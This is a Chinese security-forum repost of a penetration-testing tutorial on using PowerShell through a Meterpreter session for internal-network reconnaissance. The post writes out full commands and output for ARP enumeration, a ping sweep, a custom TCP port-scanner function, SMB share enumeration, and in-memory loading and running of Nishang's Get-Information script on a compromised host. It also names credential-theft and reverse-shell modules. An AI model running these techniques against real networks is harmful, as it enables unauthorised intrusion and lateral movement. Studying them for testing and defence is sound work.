安全矩阵

 找回密码
 立即注册
搜索
查看: 903|回复: 0

记一次powershell在内网中的分析与利用

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2023-10-6 02:25:25 | 显示全部楼层 |阅读模式
本帖最后由 jiangmingzi 于 2023-10-6 02:25 编辑

衡阳信安 2023-09-29 00:00 发表于湖南

前言
MSF是一个功能强大的渗透测试工具,它可以帮助安全研究人员和渗透测试人员识别漏洞、开发漏洞利用和执行攻击,而Powershell作为内置于Windows操作系统中的功能强大的脚本语言,其本身具有执行命令、访问操作系统API、访问文件系统等强大的功能。此外,Powershell还具有使用内存进行攻击、绕过安全防御系统检测等特性,因此它可以成为攻击者进行内网渗透的理想工具。本文将演示本地PowerShell攻击与Meterpreter有效负载进行集成攻击。

实战演示
首先我们在受害者系统上建立Meterpreter有效负载



通过运行 load powershell 来加载 PowerShell 扩展



加载 PowerShell 扩展后,我们可以访问四个与 PowerShell 相关的命令:

powershell_execute:执行 PowerShell 语句,包括用分号分隔的复杂语句
powershell_import:导入本地 PowerShell 脚本,以通过 Meterpreter 通道在远程系统上执行
powershell_shell:启动交互式 PowerShell 外壳
powershell_session_remove:用于在创建 PowerShell 会话时使用 -s 参数执行/导入/外壳

powershell_execute命令很简单:执行一个或多个 PowerShell 语句并返回输出:



ARP枚举
使用 PowerShell 的 Get-NetNeighbor cmdlet 来发现本地系统已知的 LAN 上的其他主机,具体命令如下:

  1. powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'
复制代码



ping 扫描
利用 foreach 循环和 PowerShell 管道,使用 Test-Connection 执行 ping 扫描以识别其他主机:

  1. meterpreter > powershell_execute '1..254 | foreach { "192.168.171.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName 192.168.171.${_} -Quiet)" }'

  2. 192.168.171.1: True

  3. 192.168.171.2: False

  4. 192.168.171.3: False

  5. 192.168.171.4: False

  6. 192.168.171.5: False

  7. 192.168.171.6: False

  8. 192.168.171.7: False

  9. 192.168.171.8: False

  10. 192.168.171.9: False

  11. 192.168.171.10: True

  12. 192.168.171.11: True

  13. 192.168.171.12: False

  14. 192.168.171.13: False

  15. 192.168.171.14: False

  16. 192.168.171.15: False

  17. 192.168.171.16: False

  18. 192.168.171.17: False

  19. 192.168.171.18: False

  20. 192.168.171.19: False

  21. 192.168.171.20: False

  22. 192.168.171.21: True

  23. ...
复制代码

PowerShell 端口扫描
PowerShell中使用Test-NetConnection -ComputerName -Port的内置TCP端口扫描仪功能

  1. powershell_execute 'Test-NetConnection -ComputerName 192.168.171.21 -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'
复制代码





利用上面的命令能得到正确结果,但是需要的时间有点长,因为Test-NetConnection 在发送 TCP 端口测试之前会发送大量流量来验证主机是否已启动,从而产生大量开销,导致需要大量的时间。所以下面我们直接调用 TcpClient .NET 类,来构成命令如下:

  1. 1..1024 | foreach {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.171.21",$_)) "Port $_ is open!"} 2>$null
复制代码

使用 TcpClient .NET 类比 Test-NetConnection 快,但仍然相当慢,主要原因是当端口被过滤或未响应打开或关闭的消息时会消耗大量时间。通过编写如下脚本来优化速度:



  1. Function Test-CommonTCPPorts {

  2.     Param($address, $timeout=1000)

  3.     $ports = @(21,22,23,25,53,80,81,110,111,113,135,139,143,179,199,443,445,465,514,548,554,587,993,995,1025,1026,1720,1723,2000,3306,3389,5060,5900,6001,8000,8080,8443,8888,10000,32768)

  4.     ForEach ($port in $ports) {

  5.         $socket=New-Object System.Net.Sockets.TcpClient

  6.         try {

  7.             $result=$socket.BeginConnect($address, $port, $null, $null)

  8.             if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) {

  9.                 throw [System.Exception]::new("Connection Timeout")

  10.             }

  11.             "$port - open"

  12.         } catch {

  13.             "$port - closed"

  14.         }

  15.         finally {

  16.             $socket.Close()

  17.         }

  18.     }

  19. }
复制代码

在Test-CommonTCPPorts中,根据Nmap工具中的文件,使用了前20个最常见的TCP端口列表进行扫描。并没有在 TcpClient .NET 类中使用 Connect() 方法,而是使用 BeginConnect(),它能够在端口没有响应时指定更短的超时值,接着我们可以使用 msf 将此脚本加载到内存中。

  1. Function Test-CommonTCPPorts { Param($address, $timeout=1000); $ports = @(21,22,23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080); ForEach ($port in $ports) { $socket=New-Object System.Net.Sockets.TcpClient; try { $result=$socket.BeginConnect($address, $port, $null, $null); if (!$result.AsyncWaitHandle.WaitOne($timeout, $False)) { throw [System.Exception]::new("Connection Timeout") } "$port - open" } catch { "$port - closed" } finally { $socket.Close() } } }
复制代码



当被加载到PowerShell命名空间中,我们就可以调用它来扫描系统,可以选择指定一个超时时间来加速扫描(此处将超时持续时间减少到 500 毫秒):

  1. meterpreter > powershell_execute 'Test-CommonTCPPorts 192.168.171.21 500'

  2. [+] Command execution completed:

  3. 21 - closed

  4. 22 - closed

  5. 23 - closed

  6. 25 - closed

  7. 53 - closed

  8. 80 - closed

  9. 110 - closed

  10. 111 - closed

  11. 135 - open

  12. 139 - open

  13. 143 - closed

  14. 443 - closed

  15. 445 - open

  16. 993 - closed

  17. 995 - closed

  18. 1723 - closed

  19. 3306 - closed

  20. 3389 - closed

  21. 5900 - closed

  22. 8080 - closed
复制代码

枚举 SMB 共享
了解目标系统和侦听服务后,我们可以依靠其他 PowerShell 功能来进一步枚举系统。可以使用 Get-WmiObject 类win32_share枚举 SMB 共享:



利用Nishang
Nishang是一个基于Powershell编写的开源渗透测试和后渗透框架,它包含了一系列的Powershell脚本和模块,可用于执行多种内网渗透和后渗透任务。Nishang包含了许多有用的工具和模块,包括以下几个方面:
1、网络扫描和信息收集:Nishang提供了一些用于扫描和信息收集的Powershell脚本,如Portscan.ps1、Get-ADUsers.ps1和Get-NetStat.ps1等。这些脚本可用于扫描网络端口、收集系统信息、获取用户列表等。
2、漏洞利用和权限提升:Nishang提供了一些漏洞利用和权限提升的Powershell脚本和模块,如Invoke-Mimikatz.ps1、Invoke-MS16-032.ps1和Invoke-PsExec.ps1等。这些工具可以帮助攻击者获取系统权限、突破防御系统等。
3、后渗透功能:Nishang提供了一些后渗透功能的Powershell脚本和模块,如Invoke-PowerShellTcp.ps1、Invoke-PowerShellUdp.ps1和Invoke-Encode.ps1等。这些脚本可以帮助攻击者在目标系统上建立反向Shell、执行命令、上传和下载文件等。
Meterpreter中最强大的PowerShell功能是能够使用powershell_import将攻击者系统的本地脚本加载到Meterpreter PowerShell环境中。这使我们能够通过 Meterpreter 将 PowerShell 脚本与目标系统集成,而无需将脚本作为文件上传到受感染的系统上。

直接使用 git 将 Nishang 下载到目录中。我们就可以直接从 Metasploit 控制台执行此操作:
Nishang脚本脚本地址:https://github.com/samratashok/nishang.git

  1. meterpreter > background

  2. [*] Backgrounding session 8...

  3. msf6 exploit(windows/smb/psexec) > git clone https://github.com/samratashok/nishang.git

  4. [*] exec: git clone https://github.com/samratashok/nishang.git



  5. Cloning into 'nishang'...

  6. remote: Enumerating objects: 1699, done.

  7. remote: Counting objects: 100% (8/8), done.

  8. remote: Compressing objects: 100% (7/7), done.

  9. remote: Total 1699 (delta 2), reused 4 (delta 1), pack-reused 1691

  10. Receiving objects: 100% (1699/1699), 10.88 MiB | 2.01 MiB/s, done.

  11. Resolving deltas: 100% (1061/1061), done.

  12. msf6 exploit(windows/smb/psexec) > sessions -i 8

  13. [*] Starting interaction with 8...



  14. meterpreter >
复制代码

使用攻击者系统上的Nishang脚本,我们可以通过 Meterpreter 导入并执行:

  1. meterpreter > powershell_import nishang/Gather/Get-Information.ps1

  2. [+] File successfully imported. No result was returned.

  3. meterpreter > powershell_execute Get-Information

  4. [+] Command execution completed:

  5. ERROR: get-childitem : Cannot find path 'HKEY_CURRENT_USER\software\simontatham\putty' because it does not exist.

  6. ERROR:

  7. ERROR: At line:27 char:34

  8. ERROR: +         else{$key = get-childitem <<<<  $regkey}

  9. ...

  10. Account Policy:

  11. Force user logoff how long after time expires?:       Never

  12. Minimum password age (days):                          0

  13. Maximum password age (days):                          Unlimited

  14. Minimum password length:                              0

  15. Length of password history maintained:                None

  16. Lockout threshold:                                    Never

  17. Lockout duration (minutes):                           30

  18. Lockout observation window (minutes):                 30

  19. Computer role:                                        WORKSTATION

  20. The command completed successfully.
复制代码

总结
Powershell可以用于编写各种恶意软件,例如免杀木马、后门、勒索软件等。攻击者可以编写Powershell脚本来实现各种功能,例如通过网络传播、远程执行恶意代码、窃取敏感数据等。此外,攻击者还可以使用Powershell与其他工具和技术结合使用,例如Metasploit、Powercat、Netcat等。在我们去分析学习powershell语言时,我们可以通过他人编写的脚本进行改写,来快速达到我们的使用需求

来源:https://xz.aliyun.com/ 感谢【闲钓者迫心 】

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:51 , Processed in 0.013427 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表